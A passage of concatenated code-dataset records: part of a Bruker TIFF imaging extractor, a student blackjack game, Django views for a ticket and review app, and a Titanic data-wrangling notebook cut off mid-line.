_determine_imaging_is_volumetric(folder_path=folder_path), (\n f\"{self.extractor_name}Extractor is for volumetric imaging. \"\n \"For single imaging plane data use BrukerTiffSinglePlaneImagingExtractor.\"\n )\n\n streams = self.get_streams(folder_path=folder_path)\n if stream_name is None:\n if len(streams[\"channel_streams\"]) > 1:\n raise ValueError(\n \"More than one recording stream is detected! Please specify which stream you wish to load with the `stream_name` argument. \"\n \"To see what streams are available, call `BrukerTiffMultiPlaneImagingExtractor.get_stream_names(folder_path=...)`.\"\n )\n channel_stream_name = streams[\"channel_streams\"][0]\n stream_name = streams[\"plane_streams\"][channel_stream_name][0]\n\n channel_stream_name = stream_name.split(\"_\")[0]\n plane_stream_names = streams[\"plane_streams\"][channel_stream_name]\n if stream_name is not None and stream_name not in plane_stream_names:\n raise ValueError(\n f\"The selected stream '{stream_name}' is not in the available plane_streams '{plane_stream_names}'!\"\n )\n\n self.folder_path = Path(folder_path)\n\n self.stream_name = stream_name\n self._num_planes_per_channel_stream = len(plane_stream_names)\n\n imaging_extractors = []\n for stream_name in plane_stream_names:\n extractor = BrukerTiffSinglePlaneImagingExtractor(folder_path=folder_path, stream_name=stream_name)\n imaging_extractors.append(extractor)\n\n super().__init__(imaging_extractors=imaging_extractors)\n\n self._num_frames = self._imaging_extractors[0].get_num_frames()\n self._image_size = *self._imaging_extractors[0].get_image_size(), self._num_planes_per_channel_stream\n self.xml_metadata = self._imaging_extractors[0].xml_metadata\n\n self._start_frames = [0] * self._num_planes_per_channel_stream\n self._end_frames = [self._num_frames] * self._num_planes_per_channel_stream\n\n # TODO: fix this method so that it is consistent with base multiimagingextractor method (i.e. num_rows, num_columns)\n def get_image_size(self) -> Tuple[int, int, int]:\n return self._image_size\n\n def get_num_frames(self) -> int:\n return self._imaging_extractors[0].get_num_frames()\n\n def get_sampling_frequency(self) -> float:\n return self._imaging_extractors[0].get_sampling_frequency() * self._num_planes_per_channel_stream\n\n def get_frames(self, frame_idxs: ArrayType, channel: Optional[int] = 0) -> np.ndarray:\n if isinstance(frame_idxs, (int, np.integer)):\n frame_idxs = [frame_idxs]\n frame_idxs = np.array(frame_idxs)\n assert np.all(frame_idxs < self.get_num_frames()), \"'frame_idxs' exceed number of frames\"\n\n frames_shape = (len(frame_idxs),) + self.get_image_size()\n frames = np.empty(shape=frames_shape, dtype=self.get_dtype())\n\n for plane_ind, extractor in enumerate(self._imaging_extractors):\n frames[..., plane_ind] = extractor.get_frames(frame_idxs)\n\n return frames\n\n def get_video(\n self, start_frame: Optional[int] = None, end_frame: Optional[int] = None, channel: int = 0\n ) -> np.ndarray:\n if channel != 0:\n raise NotImplementedError(\n f\"MultiImagingExtractors for multiple channels have not yet been implemented! (Received '{channel}'.\"\n )\n\n start = start_frame if start_frame is not None else 0\n stop = end_frame if end_frame is not None else self.get_num_frames()\n\n video_shape = (stop - start,) + self.get_image_size()\n video = np.empty(shape=video_shape, dtype=self.get_dtype())\n\n for plane_ind, extractor in enumerate(self._imaging_extractors):\n video[..., plane_ind] = extractor.get_video(start_frame=start, end_frame=stop)\n\n return video\n\n\nclass BrukerTiffSinglePlaneImagingExtractor(MultiImagingExtractor):\n \"\"\"A MultiImagingExtractor for TIFF files produced by Bruker with only 1 plane.\"\"\"\n\n extractor_name = \"BrukerTiffSinglePlaneImaging\"\n is_writable = True\n mode = \"folder\"\n\n @classmethod\n def get_streams(cls, folder_path: PathType) -> dict:\n \"\"\"Get the available streams from the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n\n Parameters\n ----------\n folder_path : PathType\n The path to the folder that contains the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n\n Returns\n -------\n streams: dict\n The dictionary of available streams.\n \"\"\"\n natsort = get_package(package_name=\"natsort\", installation_instructions=\"pip install natsort\")\n xml_root = _parse_xml(folder_path=folder_path)\n channel_names = [file.attrib[\"channelName\"] for file in xml_root.findall(\".//File\")]\n unique_channel_names = natsort.natsorted(set(channel_names))\n streams = dict(channel_streams=unique_channel_names)\n return streams\n\n def __init__(self, folder_path: PathType, stream_name: Optional[str] = None):\n \"\"\"Create a BrukerTiffSinglePlaneImagingExtractor instance from a folder path that contains the image files.\n\n Parameters\n ----------\n folder_path : PathType\n The path to the folder that contains the Bruker TIF image files (.ome.tif) and configuration files (.xml, .env).\n stream_name: str, optional\n The name of the recording channel (e.g. \"Ch2\").\n \"\"\"\n self._tifffile = _get_tiff_reader()\n\n folder_path = Path(folder_path)\n tif_file_paths = list(folder_path.glob(\"*.ome.tif\"))\n assert tif_file_paths, f\"The TIF image files are missing from '{folder_path}'.\"\n\n streams = self.get_streams(folder_path=folder_path)\n if stream_name is None:\n if len(streams[\"channel_streams\"]) > 1:\n raise ValueError(\n \"More than one recording stream is detected! Please specify which stream you wish to load with the `stream_name` argument. \"\n \"To see what streams are available, call `BrukerTiffSinglePlaneImagingExtractor.get_stream_names(folder_path=...)`.\"\n )\n stream_name = streams[\"channel_streams\"][0]\n\n self.stream_name = stream_name\n channel_stream_name = self.stream_name.split(\"_\")[0]\n if self.stream_name is not None and channel_stream_name not in streams[\"channel_streams\"]:\n raise ValueError(\n f\"The selected stream '{self.stream_name}' is not in the available channel_streams '{streams['channel_streams']}'!\"\n )\n\n self._xml_root = _parse_xml(folder_path=folder_path)\n file_elements = self._xml_root.findall(\".//File\")\n file_names = [file.attrib[\"filename\"] for file in file_elements]\n file_names_for_stream = [file for file in file_names if self.stream_name in file]\n # determine image shape and data type from first file\n with self._tifffile.TiffFile(folder_path / file_names_for_stream[0], _multifile=False) as tif:\n self._height, self._width = tif.pages[0].shape\n self._dtype = tif.pages[0].dtype\n\n sequence_elements = self._xml_root.findall(\"Sequence\")\n # determine the true sampling frequency\n # the \"framePeriod\" in the XML is not trusted (usually higher than the true frame rate)\n frame_rate = _determine_frame_rate(element=self._xml_root, file_names=file_names_for_stream)\n if frame_rate is None and len(sequence_elements) > 1:\n frame_rate = _determine_frame_rate(element=sequence_elements[0], file_names=file_names_for_stream)\n assert frame_rate is not None, \"Could not determine the frame rate from the XML file.\"\n self._sampling_frequency = frame_rate\n self._channel_names = [self.stream_name.split(\"_\")[0]]\n\n # count the number of occurrences of each file path and their names\n # files that contain stacks of images (multi-page tiffs) will appear repeated (number of repetition is the number of frames in the tif file)\n file_counts = Counter(file_names_for_stream)\n\n imaging_extractors = []\n for file_name, num_frames in file_counts.items():\n extractor = _BrukerTiffSinglePlaneImagingExtractor(file_path=str(Path(folder_path) / file_name))\n extractor._num_frames = num_frames\n extractor._image_size = (self._height, self._width)\n extractor._dtype = self._dtype\n imaging_extractors.append(extractor)\n\n self.xml_metadata = self._get_xml_metadata()\n\n super().__init__(imaging_extractors=imaging_extractors)\n\n def _get_xml_metadata(self) -> Dict[str, Union[str, List[Dict[str, str]]]]:\n \"\"\"Parse the metadata in the root element that are under \"PVStateValue\" tag into a dictionary.\n\n Returns\n -------\n xml_metadata: dict\n The dictionary of metadata extracted from the XML file.\n \"\"\"\n xml_metadata = dict()\n xml_metadata.update(**self._xml_root.attrib)\n for child in self._xml_root.findall(\".//PVStateValue\"):\n metadata_root_key = child.attrib[\"key\"]\n if \"value\" in child.attrib:\n if metadata_root_key in xml_metadata:\n continue\n xml_metadata[metadata_root_key] = child.attrib[\"value\"]\n else:\n xml_metadata[metadata_root_key] = []\n for indexed_value in child:\n if \"description\" in indexed_value.attrib:\n xml_metadata[child.attrib[\"key\"]].append(\n {indexed_value.attrib[\"description\"]: indexed_value.attrib[\"value\"]}\n )\n elif \"value\" in indexed_value.attrib:\n xml_metadata[child.attrib[\"key\"]].append(\n {indexed_value.attrib[\"index\"]: indexed_value.attrib[\"value\"]}\n )\n else:\n for subindexed_value in indexed_value:\n if \"description\" in subindexed_value.attrib:\n xml_metadata[metadata_root_key].append(\n {subindexed_value.attrib[\"description\"]: subindexed_value.attrib[\"value\"]}\n )\n else:\n xml_metadata[child.attrib[\"key\"]].append(\n {indexed_value.attrib[\"index\"]: subindexed_value.attrib[\"value\"]}\n )\n return xml_metadata\n\n def _check_consistency_between_imaging_extractors(self):\n \"\"\"Override the parent class method as none of the properties that are checked are from the sub-imaging extractors.\"\"\"\n return True\n\n def get_image_size(self) -> Tuple[int, int]:\n return self._height, self._width\n\n def get_sampling_frequency(self) -> float:\n return self._sampling_frequency\n\n def get_channel_names(self) -> List[str]:\n return self._channel_names\n\n def get_num_channels(self) -> int:\n return 1\n\n def get_dtype(self) -> DtypeType:\n return self._dtype\n\n\nclass _BrukerTiffSinglePlaneImagingExtractor(ImagingExtractor):\n \"\"\"A private ImagingExtractor for TIFF files produced by Bruker with only 1 plane.\n\n The private imaging extractor for OME-TIF image format produced by Bruker,\n which defines the get_video() method to return the requested frames from a given file.\n This extractor is not meant to be used as a standalone ImagingExtractor.\n \"\"\"\n\n extractor_name = \"_BrukerTiffSinglePlaneImaging\"\n is_writable = True\n mode = \"file\"\n\n SAMPLING_FREQ_ERROR = \"The {}Extractor does not support retrieving the imaging rate.\"\n CHANNEL_NAMES_ERROR = \"The {}Extractor does not support retrieving the name of the channels.\"\n DATA_TYPE_ERROR = \"The {}Extractor does not support retrieving the data type.\"\n\n def __init__(self, file_path: PathType):\n \"\"\"Create a _BrukerTiffSinglePlaneImagingExtractor instance from a TIFF image file (.ome.tif).\n\n Parameters\n ----------\n file_path : PathType\n The path to the TIF image file (.ome.tif)\n \"\"\"\n self.tifffile = _get_tiff_reader()\n self.file_path = file_path\n\n super().__init__()\n\n self._num_frames = None\n self._image_size = None\n self._dtype = None\n\n def get_num_frames(self) -> int:\n return self._num_frames\n\n def get_num_channels(self) -> int:\n return 1\n\n def get_image_size(self) -> Tuple[int, int]:\n return self._image_size\n\n def get_sampling_frequency(self):\n raise NotImplementedError(self.SAMPLING_FREQ_ERROR.format(self.extractor_name))\n\n def get_channel_names(self) -> list:\n raise NotImplementedError(self.CHANNEL_NAMES_ERROR.format(self.extractor_name))\n\n def get_dtype(self):\n raise NotImplementedError(self.DATA_TYPE_ERROR.format(self.extractor_name))\n\n def get_video(\n self, start_frame: Optional[int] = None, end_frame: Optional[int] = None, channel: int = 0\n ) -> np.ndarray:\n with self.tifffile.TiffFile(self.file_path, _multifile=False) as tif:\n pages = tif.pages\n\n if start_frame is not None and end_frame is not None and start_frame == end_frame:\n return pages[start_frame].asarray()\n\n end_frame = end_frame or self.get_num_frames()\n start_frame = start_frame or 0\n\n image_shape = (end_frame - start_frame, *self.get_image_size())\n video = np.zeros(shape=image_shape, dtype=self._dtype)\n for page_ind, page in enumerate(islice(pages, start_frame, end_frame)):\n video[page_ind] = page.asarray()\n\n return video\n","repo_name":"catalystneuro/roiextractors","sub_path":"src/roiextractors/extractors/tiffimagingextractors/brukertiffimagingextractor.py","file_name":"brukertiffimagingextractor.py","file_ext":"py","file_size_in_byte":20471,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"34800399646","text":"'''\nProject: Twenty One Game\nCourse: CS1410 X01\nName: Darrell Anderson\nDue Date: 1/20/2023\n\nDescription:\nThis is a game of blackjack that I created in python. I had a great deal of trouble trying to\nget the classes working together and it made me learn alot. My first attempt at this was about\na third longer and was entirely convoluted spaghetti code. I realized that it needed to be\ncompletely rewritten and was able to do that in a morning. The hardest part for me was\ngetting the cards to print in line.\n'''\nimport random\nimport time\nimport os\n\nclass Card:\n '''This sets the values that the Deck class is created from'''\n def __init__(self):\n self.values = ['2','3', '4', '5', '6', '7', '8', '9', '10', 'A', 'K', 'Q', 'J']\n self.suits = ['Clubs', 'Spades', 'Hearts', 'Diamonds']\n\n\nclass Deck:\n '''This creates the deck by instantiating a Card class'''\n def __init__(self):\n self.deck = []\n\n card = Card()\n for i in card.suits:\n for ii in card.values:\n self.deck.append([(ii, i)])\n random.shuffle(self.deck)\n\n\nclass Hand:\n '''This is the Hand class. It does most of the work in this program'''\n def __init__(self):\n self.hand = []\n self.score = 0\n self.aces = 0\n\n def createhand(self, deck):\n '''This draws the player hand from the deck'''\n for i in range(2):\n newcard = deck.deck[0]\n self.hand.append(deck.deck[0])\n self.calculatescore(newcard)\n deck.deck.pop(0)\n\n def hit(self, deck):\n '''If a hand object hits it adds the top card to their hand and removes it from the\n deck'''\n newcard = deck.deck[0]\n self.hand.append(newcard)\n self.calculatescore(newcard)\n deck.deck.pop(0)\n\n def calculatescore(self, data):\n '''This calculates and updates the score'''\n newcard = data[0]\n if newcard[0] in ['1', '2', '3', '4', '5','6','7', '8', '9', '10']:\n self.score+= int(newcard[0])\n elif newcard[0] in ['K', 'Q', 'J']:\n self.score+= 10\n elif newcard[0] == 'A':\n self.score += 11\n self.aces += 1\n \n def checkaces(self):\n '''This handles the logic around aces.'''\n while self.score > 21:\n if self.aces > 0:\n self.score -= 10\n self.aces -= 1\n print('Changing ace from 11 to 1')\n else:\n break\n\n def asciicard(self, card):\n '''This creates the ascii representation of a card'''\n newcard = card[0]\n number = newcard[0]\n suit = newcard[1]\n\n if suit == 'Clubs':\n suit = '\\u2667'\n elif suit == 'Hearts':\n suit = '\\u2661'\n elif suit == 'Spades':\n suit = '\\u2664'\n else:\n suit = '\\u2662'\n return f'''\\\n .-------.\n |{number} |\n | |\n | {suit} |\n | |\n | {number}|\n `-------´\n '''.split('\\n')\n\n def display_hand(self):\n '''This handles the logic that places the ascii cards side by side\n and draws them on the screen'''\n cards = [self.asciicard(card) for card in self.hand]\n for lines in zip(*cards):\n print(' '.join(lines))\n\nclass DealerHand(Hand):\n '''This is a child class to the hand class. It was necessary to create \n in order to hide the dealer's card in the initial game phase'''\n def __init__(self):\n super().__init__()\n #This is the variable that controls the hidden card\n self.card2 = f'''\\ \n ?????????\n ?????????\n ?????????\n ?????????\n ?????????\n ?????????\n '''.split('\\n')\n \n def createonecard(self):\n '''This draws one card from the deck'''\n data = self.hand[0]\n card1 = data[0]\n number = card1[0]\n suit = card1[1]\n\n if suit == 'Clubs':\n suit = '\\u2667'\n elif suit == 'Hearts':\n suit = '\\u2661'\n elif suit == 'Spades':\n suit = '\\u2664'\n else:\n suit = '\\u2662'\n return f'''\\\n .-------.\n |{number} |\n | |\n | {suit} |\n | |\n | {number}|\n `-------´\n '''.split('\\n')\n\n \n def showdealercards(self):\n '''This places the dealer's cards on the screen during the initial phase\n of the game'''\n card1 = self.createonecard()\n spacing = ' ' * 5\n for pieces in zip(card1, self.card2):\n print(spacing.join(pieces))\n\n\n \ndef clear():\n \"\"\"Clear the console.\"\"\"\n # for windows\n if os.name == 'pos':\n _ = os.system('cls')\n # for mac and linux, where os.name is 'posix'\n else:\n _ = os.system('clear')\n\n\ndef main():\n deck = Deck()\n dealerphase = False\n\n while True:\n # This portion sets the initial game state.\n hitphase = True\n playerhand = Hand()\n dealerhand = DealerHand()\n playerhand.createhand(deck)\n dealerhand.createhand(deck)\n #This displays the initial game state\n print(\"Dealer's hand: \")\n dealerhand.showdealercards()\n print('-------------------------------------------------------------------------')\n print('Your hand: ')\n playerhand.display_hand()\n print('Your score is ', playerhand.score)\n\n #A while loop that starts the second phase of the game\n while hitphase == True:\n hors = input('Would you like to hit? H/S ')\n if hors == 'H':\n clear()\n playerhand.hit(deck)\n playerhand.display_hand()\n print('Your new score is', playerhand.score)\n elif hors == 'S':\n hitphase = False\n else:\n print('Invalid input, please use \"H\" or \"S\"')\n\n playerhand.checkaces()\n \n #This sets victory and losing conditions\n if playerhand.score == 21:\n print('You won!')\n hitphase = False\n time.sleep(1)\n elif playerhand.score > 21:\n print('Bust! You lose!')\n hitphase = False\n time.sleep(1)\n else:\n dealerphase = True\n\n while dealerphase == True:\n #This initiates the third phase of the game\n clear()\n time.sleep(1)\n print('The dealer reveals his hand')\n dealerhand.display_hand()\n print('Your hand: ')\n playerhand.display_hand()\n time.sleep(5)\n\n while dealerhand.score < 17:\n dealerhand.hit(deck)\n clear()\n print(\"Dealer hits\")\n dealerhand.display_hand()\n print('Dealer points: ', dealerhand.score)\n time.sleep(2)\n\n dealerhand.checkaces()\n clear()\n time.sleep(1)\n dealerhand.display_hand()\n print('-------------------------------------------------------')\n playerhand.display_hand()\n print('Player points: ', playerhand.score)\n print('Dealer points: ', dealerhand.score)\n time.sleep(5)\n\n #These set the games final victory conditions and decide which player won.\n if dealerhand.score > 21:\n print('Dealer busts!')\n dealerphase = False\n break\n \n if dealerhand.score == 21:\n print('Dealer wins!')\n dealerphase = False\n\n elif dealerhand.score > playerhand.score:\n print('Dealer wins')\n dealerphase = False\n \n elif dealerhand.score < playerhand.score:\n print('Player wins!')\n dealerphase = False\n\n elif dealerhand.score == playerhand.score:\n print(\"It's a tie!\")\n dealerphase = False\n\n time.sleep(5)\n clear()\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n","repo_name":"Allen-Anderson-uvu/cs1410","sub_path":"BlackJack/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":8203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19658456769","text":"from appoc.follow_user import FollowUser\nfrom appoc.create_ticket import TicketForm\nfrom appoc.create_review import ReviewForm\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\n\n\nfrom .models import Ticket, Review, UserFollows\nfrom .forms import CreateUserForm\n\n\ndef dashboard(request):\n all_posts = []\n my_posts = []\n my_follows = []\n reviews = Review.objects.all()\n tickets = Ticket.objects.all()\n for review in reviews:\n all_posts.append(review)\n for ticket in tickets:\n all_posts.append(ticket)\n relationships = UserFollows.objects.all()\n for relation in relationships:\n if relation.user == request.user:\n my_follows.append(relation.followed_user)\n for post in all_posts:\n if my_follows == []:\n if post.user == request.user:\n my_posts.append(post)\n for follow in my_follows:\n if follow == post.user or post.user == request.user:\n my_posts.append(post)\n my_posts.sort(key=lambda r: r.time_created)\n my_posts = my_posts[::-1]\n my_posts = list(dict.fromkeys(my_posts))\n context = {'my_posts': my_posts}\n return render(request, 'accounts/dashboard.html', context)\n\n\ndef deleteReview(request, pk):\n item = Review.objects.get(id=pk)\n\n if request.method == 'POST':\n item.delete()\n return redirect('/dashboard')\n\n context = {'item': item}\n return render(request, 'accounts/delete_review.html', context)\n\n\ndef deleteTicket(request, pk):\n item = Ticket.objects.get(id=pk)\n\n if request.method == 'POST':\n item.delete()\n return redirect('/dashboard')\n\n context = {'item': item}\n return render(request, 'accounts/delete_ticket.html', context)\n\n\ndef updateReview(request, pk):\n review = Review.objects.get(id=pk)\n form = ReviewForm(instance=review)\n if request.method == 'POST':\n form = ReviewForm(request.POST, instance=review)\n if form.is_valid():\n form.save()\n return redirect('/dashboard')\n context = {'form': form}\n return render(request, 'accounts/update_review.html', context)\n\n\ndef updateTicket(request, pk):\n ticket = Ticket.objects.get(id=pk)\n form = TicketForm(instance=ticket)\n if request.method == 'POST':\n form = TicketForm(request.POST, instance=ticket)\n if form.is_valid():\n form.save()\n return redirect('/dashboard')\n context = {'form': form}\n return render(request, 'accounts/update_ticket.html', context)\n\n\ndef answerTicket(request, pk):\n ticket = Ticket.objects.get(id=pk)\n review_form = ReviewForm(request.POST or None)\n context = {'ticket': ticket, 'review_form': review_form}\n if request.method == 'POST':\n if review_form.is_valid():\n review = review_form.save(commit=False)\n review.ticket = ticket\n review.user = request.user\n review_form.save()\n return redirect('/dashboard')\n return render(request, 'accounts/answer_ticket.html', context)\n\n\ndef createReview(request):\n review_form = ReviewForm(request.POST or None)\n form = TicketForm(request.POST or None)\n if request.method == 'POST':\n if form.is_valid():\n ticket_form = form.save(commit=False)\n ticket_form.user = request.user\n ticket_form.save()\n if request.method == 'POST':\n if review_form.is_valid():\n ticket = Ticket.objects.all().last()\n review = review_form.save(commit=False)\n review.user = request.user\n review.ticket = ticket\n review.save()\n return redirect('/dashboard')\n else:\n form = ReviewForm(request.POST)\n context = {'form': form, 'review_form': review_form}\n return render(request, 'accounts/create_review.html', context)\n\n\ndef createTicket(request):\n form = TicketForm()\n if request.method == 'POST':\n form = TicketForm(request.POST, request.FILES)\n if form.is_valid():\n form_object = form.save(commit=False)\n form_object.user = request.user\n form_object.save()\n return redirect('/dashboard')\n else:\n form = TicketForm(user=request.user)\n context = {'form': form}\n return render(request, 'accounts/create_ticket.html', context)\n\n\ndef follow(request, pk):\n current_user = ''\n users = User.objects.values()\n relation = FollowUser(request.POST or None)\n if request.method == 'POST':\n for user in users:\n if pk == user['username']:\n pk = User.objects.get(username=user['username'])\n if str(request.user) == user['username']:\n current_user = User.objects.get(username=user['username'])\n relation = FollowUser(request.POST)\n relation.user = current_user\n relation.followed_user = pk\n relation_object = relation.save(commit=False)\n relation_object.user = request.user\n relation_object.followed_user = pk\n relation.save()\n return redirect('abonnements')\n else:\n relation = FollowUser()\n context = {'relation': relation, 'pk': pk}\n return render(request, 'accounts/follow_user.html', context)\n\n\ndef unfollow(request, pk):\n current_user = User.objects.get(username=str(request.user))\n followed = User.objects.get(id=pk)\n relationship = UserFollows.objects.get(user=current_user,\n followed_user=followed)\n print(relationship)\n if request.method == 'POST':\n relationship.delete()\n return redirect('abonnements')\n context = {'relationship': relationship}\n return render(request, 'accounts/unfollow.html', context)\n\n\ndef registerPage(request):\n if request.user.is_authenticated:\n return redirect('dashboard')\n else:\n form = CreateUserForm()\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n if form.is_valid():\n form.save()\n user = form.cleaned_data.get('username')\n messages.success(request, 'Félicitations ! Le compte pour ' + user + ' a été créer')\n return redirect('login')\n context = {'form': form}\n return render(request, 'accounts/register.html', context)\n\n\ndef loginPage(request):\n if request.user.is_authenticated:\n return redirect('dashboard')\n else:\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(request, username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect('dashboard')\n else:\n messages.info(request, 'Username OR password is incorrect')\n context = {}\n return render(request, 'accounts/login.html', context)\n\n\ndef logoutUser(request):\n logout(request)\n return redirect('login')\n\n\n@login_required(login_url='login')\ndef home(request):\n context = {}\n return render(request, 'accounts/dashboard.html', context)\n\n\ndef abonnements(request):\n current_user = request.user\n all_relationship = UserFollows.objects.all()\n users = User.objects.values()\n searched_users = []\n my_follows = []\n my_follows_str = []\n for follower in all_relationship:\n if follower.user == request.user:\n my_follows.append(follower.followed_user)\n my_follows_str.append(str(follower.followed_user))\n if request.method == 'POST':\n context = {'all_relationship': all_relationship,\n 'my_follows_str': my_follows_str,\n 'my_follows': my_follows,\n 'searched_users': searched_users,\n 'current_user': current_user,\n }\n name = request.POST['search_user']\n for user in users:\n if name in user['username']:\n searched_users.append(str(user['username']))\n context = {'all_relationship': all_relationship,\n 'my_follows_str': my_follows_str,\n 'my_follows': my_follows,\n 'searched_users': searched_users,\n 'current_user': current_user,\n }\n return render(request, 'accounts/abonnements.html', context)\n","repo_name":"VictorTherache/P9_OC","sub_path":"appoc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15696431155","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\n# data analysis and wrangling\nimport pandas as pd\nimport numpy as np\nimport random as rnd\n\n# visualization\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nget_ipython().magic(u'matplotlib inline')\n\n# machine learning\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\ntest_df = pd.read_csv(\"../input/test.csv\")\ntrain_df = pd.read_csv(\"../input/train.csv\")\n\n# pclass\n#print(train_df[['Pclass', 'Survived']].groupby(['Pclass'], as_index=False).mean().sort_values(by='Survived', ascending=False))\n\n# sex\n#print(train_df[[\"Sex\", \"Survived\"]].groupby(['Sex'], as_index=False).mean().sort_values(by='Survived', ascending=False))\n\n# number of siblings / spouses\n#print(train_df[[\"SibSp\", \"Survived\"]].groupby(['SibSp'], as_index=False).mean().sort_values(by='Survived', ascending=False))\n\n# number of parents\n#print(train_df[[\"Parch\", \"Survived\"]].groupby(['Parch'], as_index=False).mean().sort_values(by='Survived', ascending=False))\n\n#g = sns.FacetGrid(train_df, col='Survived')\n#h = g.map(plt.hist, 'Age', bins=20)\n#print(h)\n\ngrid = sns.FacetGrid(train_df, col='Survived', row='Pclass', size=2.2, aspect=1.6)\ngrid.map(plt.hist, 'Age', alpha=.5, bins=20)\ngrid.add_legend()\nprint(grid)\n\ngrid3 = sns.FacetGrid(train_df, row='Embarked', col='Survived', size=2.2, aspect=1.6)\ngrid3.map(sns.barplot, 'Sex', 'Fare', alpha=.5, ci=None)\ngrid3.add_legend()\nprint(grid3)\n\n# wrangle data\n\ntrain_df = train_df.drop(['Ticket', 'Cabin'], axis=1)\ntest_df = test_df.drop(['Ticket', 'Cabin'], axis=1)\nprint(test_df.head())\ncombine = [train_df, test_df]\n\n# convert NaN ages to average age\navg_age = train_df['Age'].mean()\nfor dataset in combine:\n dataset.loc[(dataset.Age.isnull()),'Age'] = avg_age\ncombine = [train_df, test_df]\n\n# does name have a title in it?\nfor dataset in combine:\n dataset['Title'] = dataset.Name.str.extract(' ([A-Za-z]+)\\.', expand=False)\ncombine = [train_df, test_df]\n\ngrid4 = pd.crosstab(train_df['Title'], train_df['Sex'])\nprint(grid4)\n\nfor dataset in combine:\n dataset['Title'] = dataset['Title'].replace(['Lady', 'Countess','Capt', 'Col', \t'Don', 'Dr', 'Major', 'Rev', 'Sir', 'Jonkheer', 'Dona'], 'Rare')\n\n dataset['Title'] = dataset['Title'].replace('Mlle', 'Miss')\n dataset['Title'] = dataset['Title'].replace('Ms', 'Miss')\n dataset['Title'] = dataset['Title'].replace('Mme', 'Mrs')\n \ncombine = [train_df, test_df]\ntrain_df[['Title', 'Survived']].groupby(['Title'], as_index=False).mean()\n\ntitle_mapping = {\"Mr\": 1, \"Miss\": 2, \"Mrs\": 3, \"Master\": 4, \"Rare\": 5}\nfor dataset in combine:\n dataset['Title'] = dataset['Title'].map(title_mapping)\n dataset['Title'] = dataset['Title'].fillna(0)\ncombine = [train_df, test_df]\n# Drop name feature, not useful anymore\ntrain_df = train_df.drop(['Name', 'PassengerId'], axis=1)\ntest_df = test_df.drop(['Name'], axis=1) \n\n# replace NULLs with median values for Pclass/gender groupings\n\n# first, take a look at the various groupings in histogram form\ngrid5 = sns.FacetGrid(train_df, row='Pclass', col='Sex', size=2.2, aspect=1.6)\ngrid5.map(plt.hist, 'Age', alpha=.5, bins=20)\ngrid5.add_legend()\n\n\n# create age bands -> five different buckets in population\ntrain_df['AgeBand'] = pd.cut(train_df['Age'], 5)\ntrain_df[['AgeBand', 'Survived']].groupby(['AgeBand'], as_index=False).mean().sort_values(by='AgeBand', ascending=True)\n\n# replace Age with bucket\nfor dataset in combine: \n dataset.loc[ dataset['Age'] <= 16, 'Age'] = 0\n dataset.loc[(dataset['Age'] > 16) & (dataset['Age'] <= 32), 'Age'] = 1\n dataset.loc[(dataset['Age'] > 32) & (dataset['Age'] <= 48), 'Age'] = 2\n dataset.loc[(dataset['Age'] > 48) & (dataset['Age'] <= 64), 'Age'] = 3\n dataset.loc[ dataset['Age'] > 64, 'Age']\ncombine = [train_df, test_df]\n# then, drop AgeBand\ntrain_df = train_df.drop(['AgeBand'], axis=1)\ncombine = [train_df, test_df]\n\n# create combined field of Siblinds and parent/children -> size of family\nfor dataset in combine:\n dataset['FamilySize'] = dataset['SibSp'] + dataset['Parch'] + 1\ncombine = [train_df, test_df]\ntrain_df[['FamilySize', 'Survived']].groupby(['FamilySize'], as_index=False).mean().sort_values(by='Survived', ascending=False)\n\n# check if someone is alone\nfor dataset in combine:\n dataset['IsAlone'] = 0\n dataset.loc[dataset['FamilySize'] == 1, 'IsAlone'] = 1\ncombine = [train_df, test_df]\n# what's correlation to survival?\ntrain_df[['IsAlone', 'Survived']].groupby(['IsAlone'], as_index=False).mean()\n\ntrain_df = train_df.drop(['Parch', 'SibSp', 'FamilySize'], axis=1)\ntest_df = test_df.drop(['Parch', 'SibSp', 'FamilySize'], axis=1)\ncombine = [train_df, test_df]\n\n# create column combining Pclass and Age\nfor dataset in combine:\n dataset['Age*Class'] = dataset.Age * dataset.Pclass\ncombine = [train_df, test_df]\ntrain_df.loc[:, ['Age*Class', 'Age', 'Pclass']].head(10)\n\n# fill in missing \"embarked\" values\n# C is most common:\nfreq_port = train_df.Embarked.dropna().mode()[0]\n\nfor dataset in combine:\n dataset['Embarked'] = dataset['Embarked'].fillna(freq_port)\ncombine = [train_df, test_df]\ntrain_df[['Embarked', 'Survived']].groupby(['Embarked'], as_index=False).mean().sort_values(by='Survived', ascending=False)\n\n# Create numeric Port column (converting alpha values to numbers)\nfor dataset in combine:\n dataset['Embarked'] = dataset['Embarked'].map( {'S': 0, 'C': 1, 'Q': 2} ).astype(int)\ncombine = [train_df, test_df]\ntest_df['Fare'].fillna(test_df['Fare'].dropna().median(), inplace=True)\n\n# Create bucket for fare\ntrain_df['FareBand'] = pd.qcut(train_df['Fare'], 4)\ntrain_df[['FareBand', 'Survived']].groupby(['FareBand'], as_index=False).mean().sort_values(by='FareBand', ascending=True)\n\nfor dataset in combine:\n dataset.loc[ dataset['Fare'] <= 7.91, 